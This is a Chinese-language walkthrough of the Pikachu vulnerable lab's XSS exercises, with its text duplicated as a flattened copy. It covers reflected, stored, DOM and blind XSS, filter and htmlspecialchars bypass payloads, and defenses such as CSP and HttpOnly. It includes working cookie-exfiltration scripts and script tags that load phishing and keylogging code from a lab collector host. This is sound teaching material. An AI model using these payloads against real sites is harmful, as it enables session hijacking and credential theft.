Pikachu漏洞靶场系列之XSS
字数 1907 2025-08-18 11:39:19

XSS漏洞全面解析与实战教学

1. XSS概述

跨站脚本攻击(Cross-Site Scripting)简称为"XSS",是一种常见的Web安全漏洞。XSS漏洞在OWASP TOP10排名中长期位居前三,危害性极高。

XSS分类

  1. 反射型XSS:恶意脚本作为请求的一部分被服务器反射回客户端执行
  2. 存储型XSS:恶意脚本被永久存储在目标服务器上
  3. DOM型XSS:完全在客户端发生的XSS,不涉及服务器端处理

XSS防御原则

  • 输入过滤:对用户输入进行严格过滤,阻止危险字符
  • 输出转义:根据输出位置对内容进行适当转义处理

2. 反射型XSS实战

反射型XSS(Get)

  1. 发现输入框有字符长度限制,通过修改HTML的maxlength属性绕过
  2. 构造Payload:</p><script>alert(1)</script>

反射型XSS(Post)

  1. 登录系统(如使用admin/123456)
  2. 观察输入内容的拼接格式:<p class="notice">who is 123,i don't care!</p>
  3. 构造闭合Payload:</p><script>alert(1)</script>

获取Cookie实战

  1. 搭建收集Cookie的后台(靶场已提供)
  2. 修改post.html文件中的IP地址
  3. 构造恶意表单自动提交脚本:
<form method="post" action="http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">
  <input id="xssr_in" type="text" name="message" value="<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>" />
  <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>

3. 存储型XSS实战

基础Payload

</p><script>alert(1)</script>

钓鱼攻击

  1. 修改fish.php文件中的IP地址
  2. 注意删除header(Location: ...)中的换行
  3. 插入恶意代码:
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>
  1. 注意:PHP的HTTP认证机制仅在Apache模块方式运行时有效

键盘记录

  1. 修改rk.js文件中的后台地址
  2. 插入恶意脚本:
<script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>
  1. 跨域问题:需要在后台设置header("Access-Control-Allow-Origin:*")

4. DOM型XSS实战

基础DOM型XSS

  1. 观察页面JS处理逻辑:
function domxss(){
  var str = document.getElementById("text").value;
  document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
  1. 构造Payload:#' onclick=alert(1)

DOM型XSS-x

  1. 观察URL变化和JS处理:
function domxss(){
  var str = window.location.search;
  var txss = decodeURIComponent(str.split("text=")[1]);
  var xss = txss.replace(/\+/g,' ');
  document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
  1. 构造相同Payload:#' onclick=alert(1)

5. XSS盲打

  1. 构造恶意代码插入后台:
<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>
  1. 管理员查看后台时自动发送Cookie到攻击者服务器

6. XSS绕过技巧

过滤绕过

  1. 大小写混合<ScRipt>alert(1)</sCriPt>
  2. 拼凑绕过<scri<script>pt>alert(1)</scr</script>ipt>
  3. 注释干扰<scr<!--test-->ipt>alert(1)</sc<!--test-->ript>

htmlspecialchars绕过

  1. 了解函数行为:
$value = htmlspecialchars($_GET['value'], ENT_COMPAT);
  1. 参数说明:
    • ENT_COMPAT:默认,仅编码双引号
    • ENT_QUOTES:推荐,编码单双引号
    • ENT_NOQUOTES:不编码任何引号
  2. 构造Payload:x' onclick='alert(1)'

href输出XSS

  1. 使用javascript协议:javascript:alert(1)
  2. 防御:限制协议为http(s)并转义

JS输出XSS

  1. 方法一:闭合变量并注释
    • 原代码:$ms='xxx';
    • Payload:xxx'; alert(1); //
  2. 方法二:闭合script标签
    • Payload:xxx'</script><script>alert(1)//

7. 高级技巧与防御

编码技巧

  1. 错误示例:URL编码在属性标签中不会解析
    • ``
  2. 正确示例:使用HTML实体编码
    • ``

同源策略与跨域

  1. 同源策略限制因素:协议、子域名、主机、端口
  2. 不受同源策略限制的标签:
    • ``
    • <script src="">
    • <link href="">
    • <iframe src="">
  3. 跨域解决方案:header("Access-Control-Allow-Origin: x.com");

8. 总结与防御建议

漏洞利用方式

  • GET方式:构造恶意URL诱导点击
  • POST方式:伪造自动提交表单窃取Cookie

全面防御方案

  1. 输入验证与过滤
  2. 输出编码与转义
  3. 使用Content Security Policy (CSP)
  4. 设置HttpOnly标志保护Cookie
  5. 实施X-XSS-Protection头部
  6. 使用现代框架的安全功能(如React的自动转义)

通过本教程,您应该全面掌握了XSS漏洞的原理、利用方式和防御措施。建议在实际环境中谨慎测试这些技术,仅用于合法的安全评估和教育目的。

XSS漏洞全面解析与实战教学 1. XSS概述 跨站脚本攻击(Cross-Site Scripting)简称为"XSS",是一种常见的Web安全漏洞。XSS漏洞在OWASP TOP10排名中长期位居前三,危害性极高。 XSS分类 反射型XSS :恶意脚本作为请求的一部分被服务器反射回客户端执行 存储型XSS :恶意脚本被永久存储在目标服务器上 DOM型XSS :完全在客户端发生的XSS,不涉及服务器端处理 XSS防御原则 输入过滤 :对用户输入进行严格过滤,阻止危险字符 输出转义 :根据输出位置对内容进行适当转义处理 2. 反射型XSS实战 反射型XSS(Get) 发现输入框有字符长度限制,通过修改HTML的 maxlength 属性绕过 构造Payload: </p><script>alert(1)</script> 反射型XSS(Post) 登录系统(如使用admin/123456) 观察输入内容的拼接格式: <p class="notice">who is 123,i don't care!</p> 构造闭合Payload: </p><script>alert(1)</script> 获取Cookie实战 搭建收集Cookie的后台(靶场已提供) 修改 post.html 文件中的IP地址 构造恶意表单自动提交脚本: 3. 存储型XSS实战 基础Payload </p><script>alert(1)</script> 钓鱼攻击 修改 fish.php 文件中的IP地址 注意删除 header(Location: ...) 中的换行 插入恶意代码: 注意:PHP的HTTP认证机制仅在Apache模块方式运行时有效 键盘记录 修改 rk.js 文件中的后台地址 插入恶意脚本: 跨域问题:需要在后台设置 header("Access-Control-Allow-Origin:*") 4. DOM型XSS实战 基础DOM型XSS 观察页面JS处理逻辑: 构造Payload: #' onclick=alert(1) DOM型XSS-x 观察URL变化和JS处理: 构造相同Payload: #' onclick=alert(1) 5. XSS盲打 构造恶意代码插入后台: 管理员查看后台时自动发送Cookie到攻击者服务器 6. XSS绕过技巧 过滤绕过 大小写混合 : <ScRipt>alert(1)</sCriPt> 拼凑绕过 : <scri<script>pt>alert(1)</scr</script>ipt> 注释干扰 : <scr<!--test-->ipt>alert(1)</sc<!--test-->ript> htmlspecialchars绕过 了解函数行为: 参数说明: ENT_ COMPAT:默认,仅编码双引号 ENT_ QUOTES:推荐,编码单双引号 ENT_ NOQUOTES:不编码任何引号 构造Payload: x' onclick='alert(1)' href输出XSS 使用javascript协议: javascript:alert(1) 防御:限制协议为http(s)并转义 JS输出XSS 方法一:闭合变量并注释 原代码: $ms='xxx'; Payload: xxx'; alert(1); // 方法二:闭合script标签 Payload: xxx'</script><script>alert(1)// 7. 高级技巧与防御 编码技巧 错误示例 :URL编码在属性标签中不会解析 `` 正确示例 :使用HTML实体编码 `` 同源策略与跨域 同源策略限制因素:协议、子域名、主机、端口 不受同源策略限制的标签: `` <script src=""> <link href=""> <iframe src=""> 跨域解决方案: header("Access-Control-Allow-Origin: x.com"); 8. 总结与防御建议 漏洞利用方式 GET方式 :构造恶意URL诱导点击 POST方式 :伪造自动提交表单窃取Cookie 全面防御方案 输入验证与过滤 输出编码与转义 使用Content Security Policy (CSP) 设置HttpOnly标志保护Cookie 实施X-XSS-Protection头部 使用现代框架的安全功能(如React的自动转义) 通过本教程,您应该全面掌握了XSS漏洞的原理、利用方式和防御措施。建议在实际环境中谨慎测试这些技术,仅用于合法的安全评估和教育目的。